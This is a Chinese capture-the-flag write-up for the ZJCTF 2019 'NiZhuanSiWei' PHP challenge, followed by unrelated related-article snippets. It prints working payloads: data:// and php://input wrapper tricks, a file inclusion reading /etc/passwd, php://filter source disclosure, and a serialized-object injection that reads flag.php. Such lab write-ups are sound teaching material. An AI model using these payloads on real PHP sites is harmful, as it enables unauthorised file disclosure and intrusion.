[ZJCTF 2019]NiZhuanSiWei1

[ZJCTF 2019]NiZhuanSiWei1

预测试

打开网页就是代码:

 <?php  
 $text = $_GET["text"]; 
 $file = $_GET["file"]; 
 $password = $_GET["password"]; 
 if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){   
 	echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";   
 	if(preg_match("/flag/",$file)){     
 		echo "Not now!";     
 		exit();   
 	}else{     
 		include($file); //useless.php     
 		$password = unserialize($password);     
 		echo $password;   
 	} 
 }else{   
 	highlight_file(__FILE__); 
 } 
 ?> 
data:// || php://input 伪协议的使用

根据源码,我们传入的 GET 参数 text 会经过一个判断:

 if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

已知传入的 text 是一个变量,而不是文件,file_get_contents 只能读文件,如果直接传入:?text=welcome%20to%20the%20zjctf 是无法成功的。

要想通过这个判断,可以有两种方式。

方法一:data:// 伪协议
?text=data://text/plain,welcome%20to%20the%20zjctf

data:// 伪协议可以把数据编码成文本格式,相当于变成一个文件。

方法二:php://input 伪协议

url 中传入:?text=php://input
同时在请求体中添加: welcome to the zjctf

如下所示:

POST /?text=php://input HTTP/1.1
Host: 93a9918c-ae3e-493e-ac1e-333e8d9ed147.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cache: no-cache
Content-Length: 20
Origin: moz-extension://fdce6f23-0f50-42b3-ae0b-deef3c01b5f5
Connection: close

welcome to the zjctf

在 PHP 中,php://input 是一个只读流,它允许你访问原始的 HTTP 请求体。在接收到 text=php://input 的内容后,file_get_contents 便会去读取请求体的内容。这里 GET 和 POST 方法都是可以的,GET 方法也可以有请求体。

读取 /etc/passwd 文件

对于 file 参数的过滤只有:

if(preg_match("/flag/",$file))

这一行,然后直接 include 。

这个没什么用,但是好玩:

?text=php://input&file=/etc/passwd #请求体 welcome to the zjctf

返回结果:
在这里插入图片描述

使用 php://filter 伪协议读取 useless.php 文件

直接 file=useless.php 读不出来的话肯定要试试 php://filter 伪协议了。

传入:

?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

返回了一串 base64 编码,解码后看到源代码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  

?> 
PHP 反序列化

看第一个文件中有:

$password = unserialize($password);

肯定要用到 PHP 反序列化。

提示中给到了有 flag.php 这个文件,但是通过 file 不好读,被过滤了。那么可以利用 Flag 类中的 file_get_contents 函数来读。

构造 payload :

class Flag{  //flag.php  

  public $file = "php://filter/read=convert.base64-encode/resource=flag.php";  

}

$demo = new Flag;

echo serialize($demo);

这里如果直接读 flag.php 的话看不到 flag ,所以依然是通过 php://filter 读取后再解码。

这里有个点需要说明一下,就是必须通过 file 将 useless.php 文件包含进来,这样 password 反序列化才能成功。

所以最终的 payload 是:

?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";} 

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/261111.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Spring实战】创建第一个项目

文章目录 使用 Spring Initializr 创建第一个项目1. 打开官网2. 填写信息3. 生成工程4. 解压工程5. 导入 IDEA6. 编写 Hello world7. 启动项目8. 访问验证9. 详细代码最后 Spring 是一个强大且广泛使用的 Java 开发框架&#xff0c;提供了全面的基础设施和工具&#xff0c;用于…

移动安全APP--Frida+模拟器,模拟器+burp联动

最近测APP被通报了&#xff0c;问题点测得比较深&#xff0c;涉及到frida和burp抓包&#xff0c;一般在公司可能会有网络的限制&#xff0c;手机没办法抓包&#xff0c;我就直接在模拟器上试了&#xff0c;就在这记录一下安装过程。 目录 一、Frida安装 二、burp与逍遥模拟器…

Lammps错误:domain too large for neighbor bins

关注 M r . m a t e r i a l , \color{Violet} \rm Mr.material\ , Mr.material , 更 \color{red}{更} 更 多 \color{blue}{多} 多 精 \color{orange}{精} 精 彩 \color{green}{彩} 彩&#xff01; 主要专栏内容包括&#xff1a; †《LAMMPS小技巧》&#xff1a; ‾ \textbf…

锂供应市场进入了年度议约季,价格或将进一步下调 | 百能云芯

随着锂价在今年的大跌&#xff0c;锂供应市场进入了年度议约季。目前&#xff0c;锂生产商正与主要客户展开讨论2024年的合约&#xff0c;主要集中在亚洲市场。不同于过去几年电动车热潮带来的销售增长&#xff0c;此次的谈判显示出锂市场将维持相对平稳的态势。然而&#xff0…

RTrPPG

研究背景 心率 (HR) 和脉搏率变异性 (PRV) 是允许分析心脏行为的两个生理参数。心率监测可以通过接触式和非接触式的两种方法进行。通常用于测量 HR 和 PRV 的两种接触式技术是心电图 (ECG) 和光电容积脉搏波 (PPG)。 ECG 测量由心脏活动引起的电场。另一方面&#xff0c;PPG …

c语言:从函数中返回多个变量

从函数中返回一个值可以使用返回值&#xff0c;但是如果要返回多个值呢&#xff1f; 你肯定想到了让被调函数修改主调函数内变量的方法---将指针作为参数传递到被调函数中。就像scanf函数那样。 scanf("%d%d%d", &a, &b, &c); // scanf从键盘读入3个…

React网页转换为pdf并下载|使用jspdf html2canvas

checkout 分支后突然报错&#xff0c;提示&#xff1a; Cant resolve jspdf in ... Cant resolve html2canvas in ... 解决方法很简单&#xff0c;重新 yarn install 就好了&#xff0c;至于为什么&#xff0c;我暂时也不知道&#xff0c;总之解决了。 思路来源&#xff1a; 先…

Ubuntu 常用命令之 passwd 命令用法介绍

&#x1f4d1;Linux/Ubuntu 常用命令归类整理 在Ubuntu系统中&#xff0c;passwd命令用于更改用户的密码。系统管理员可以使用此命令更改任何用户的密码&#xff0c;而普通用户只能更改自己的密码。 passwd命令的参数如下 -l, --lock&#xff1a;锁定密码&#xff0c;使账户…

亚信安慧AntDB数据库开启分布式数据库的新篇章

AntDB-CE社区版是亚信科技AntDB数据库的首个社区版产品&#xff0c;它的诞生标志着AntDB数据库向更广泛的市场和用户群体开放&#xff0c;具有里程碑式的意义。AntDB-CE社区版不仅具备完整、易用、兼容度高的企业级分布式数据库产品特性&#xff0c;还采用了Share-Nothing的无共…

某电子文档安全管理系统 SQL注入漏洞复现

漏洞介绍 亿赛通电子文档安全管理系统 (简称: CDG)是一款电子文档安全加密软件&#xff0c;该系统利用驱动层透明加密技术&#xff0c;通过对电子文档的加密保护&#xff0c;防止内部员工泄密和外部人员非法窃取企业核心重要数据资产&#xff0c;对电子文档进行全生命周期防护…

期货平仓日历(期货平仓日期汇总)

什么是期货平仓日历&#xff1f; 期货是一种高风险高收益的投资品种。而期货交易不同于股票等其他投资品种的交易&#xff0c;期货交易需要在一定时间内才能买卖。而期货平仓日历就是指期货交易中规定的所有合约的平仓日期汇总。 常见期货平仓日期和时间&#xff1f; 不同的…

阿里云大模型数据存储解决方案,为 AI 创新提供推动力

云布道师 随着国内首批大模型产品获批名单问世&#xff0c;百“模”大战悄然开启。在这场百“模”大战中&#xff0c;每一款大模型产品的诞生&#xff0c;都离不开数据的支撑。如何有效存储、管理和处理海量多模态数据集&#xff0c;并提升模型训练、推理的效率&#xff0c;保…

uniapp uview1.0 页面多个upload上传、回显之后处理数据

<view class"img-title w-s-color-3 f-28 row">商品图片</view><u-upload ref"images" :header"header" :file-list"fileListImages" :action"action" name"iFile" icon-name"camera"u…

Modbus-ASCII数据帧

Modbus-ASCIl传输模式中&#xff0c;每个字节均以ASCI编码&#xff0c;实际报文中1个字节会以两ASCIl字符发送&#xff0c;因此这种模式比Modbus-RTU模式效率要低。 例如报文数据 x5B "5""B" X35 X42 . 数据帧格式如下: 从ASCI报文帧可以看出&#xff0…

混凝土强度达到多少才可以拆模板

混凝土拆模的时间取决于多种因素&#xff0c;包括混凝土的强度、环境条件、水泥类型、混凝土配方、模板类型及结构特点等。一般来说&#xff0c;混凝土拆模的基本准则是在混凝土达到足够的强度以承受自重和施工荷载时进行。这个强度通常是指混凝土达到其设计强度的一定比例。在…

0x43 线段树

0x43 线段树 线段树&#xff08;Segment Tree&#xff09;是一种基于分治思想的二叉树结构&#xff0c;用于在区间进行信息统计。与按照二进制位&#xff08;2的次幂&#xff09;进行区间划分的树状数组相比&#xff0c;线段树是一种更加通用的结构&#xff1a; 1.线段树的每…

探讨小鹏汽车CAN通讯协议分析破解过程数据研究技术应用

当前新能源电动汽车设计日益复杂&#xff0c;为提高舒适性、功能性、提升性能和确保更高的安全性&#xff0c;很多汽车的设计中融入了更复杂的功能。包括了雷达、激光雷达、自适应巡航、L2以上自动驾驶系统&#xff0c;高级驾驶辅助系统、盲区监测等等。安装在汽车上的传感器和…

在vue中获取文件的Md5值,以上传图片与视频为例

在vue中获取文件的Md5值 1. Md5 是什么&#xff1f;2. 使用插件spark-md5处理3. 获取图片文件的Md5值4. 视频文件的Md5值获取 1. Md5 是什么&#xff1f; MD5信息摘要算法&#xff08;英语&#xff1a;MD5 Message-Digest Algorithm&#xff09;&#xff0c;一种被广泛使用的…

【智慧校园】基于国标GB28181协议EasyCVR视频技术的高校宿舍智能监管方案

现如今&#xff0c;各大学校不乏众多住校生&#xff0c;但由于很多学生年龄较小 &#xff0c;又缺乏独自生活的经历&#xff0c;如何给在校住宿生做到安全与生活双重保障&#xff1f;旭帆科技校园智能视频监控通过人工智能技术对住宿区域进行智能监管&#xff0c;确保学生住宿安…

自定义权限管理系统概述

作者简介&#xff1a;大家好&#xff0c;我是smart哥&#xff0c;前中兴通讯、美团架构师&#xff0c;现某互联网公司CTO 联系qq&#xff1a;184480602&#xff0c;加我进群&#xff0c;大家一起学习&#xff0c;一起进步&#xff0c;一起对抗互联网寒冬 今天我们来聊聊如何自定…